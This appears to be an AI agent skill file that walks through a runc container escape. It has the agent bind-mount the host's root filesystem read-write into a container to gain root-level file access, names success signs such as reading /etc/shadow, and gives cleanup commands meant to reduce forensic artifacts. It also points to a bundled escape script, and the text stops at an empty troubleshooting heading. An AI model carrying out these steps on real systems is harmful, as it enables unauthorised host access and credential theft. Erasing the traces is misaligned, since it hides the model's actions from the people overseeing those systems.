Runc Privilege Escalation

RunC Privilege Escalation

This skill helps you escalate privileges on Linux systems where runc (the OCI container runtime) is installed. The technique mounts the host's root filesystem into a container, giving you access to the entire host system.

When to use this skill

• You're performing privilege escalation on a Linux system
• You've discovered runc is installed on the target
• You need to escape a container to access the host filesystem
• You're pentesting Docker or containerized environments
• You have limited shell access but need root-level file access

Prerequisites

• runc must be installed on the target system
• You need write permissions in your current directory
• This typically requires root or a rootless runc configuration

Quick Check

First, verify runc is available:

runc -help

If this returns help text, runc is installed and you can proceed.

Step-by-Step Exploitation

1. Generate the container configuration

runc spec

This creates a config.json file in your current directory with default container settings.

2. Modify the mounts section

Edit config.json and add the following entry to the mounts array:

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
}

Why this works: This bind mount maps the host's root filesystem (/) to the container's root (/), effectively giving you access to the entire host system from within the container.

3. Create the rootfs directory

mkdir rootfs

This directory is required by runc as the container's root filesystem.

4. Run the container

runc run demo

You'll now have a shell with access to the host's root filesystem. The files you see are the host's files.

Important Considerations

Rootless Configuration

By default, runc runs containers as root. If you're an unprivileged user:

• This technique won't work unless runc is configured for rootless operation
• Rootless containers have significant restrictions that don't apply to privileged containers
• Check if rootless mode is available: runc --version and review system configuration

Detection

This technique may be detected by:

• File integrity monitoring (FIM) tools
• Container security solutions
• Audit logs (check /var/log/audit/)

Cleanup

After you're done, clean up to reduce forensic artifacts:

runc delete demo
rm -rf config.json rootfs

Alternative: Use the Helper Script

For faster execution, use the bundled script:

./scripts/setup-runc-escape.sh

This automates the config.json modification and setup process.

Related Techniques

• Docker privilege escalation (if Docker is available instead)
• Container escape via shared namespaces
• Kernel exploit-based escapes

Success Indicators

You've successfully escalated if:

• You can access /etc/shadow from the container
• You can read host user files in /home/
• You can execute commands as root on the host
• id shows you're running as root

Troubleshooting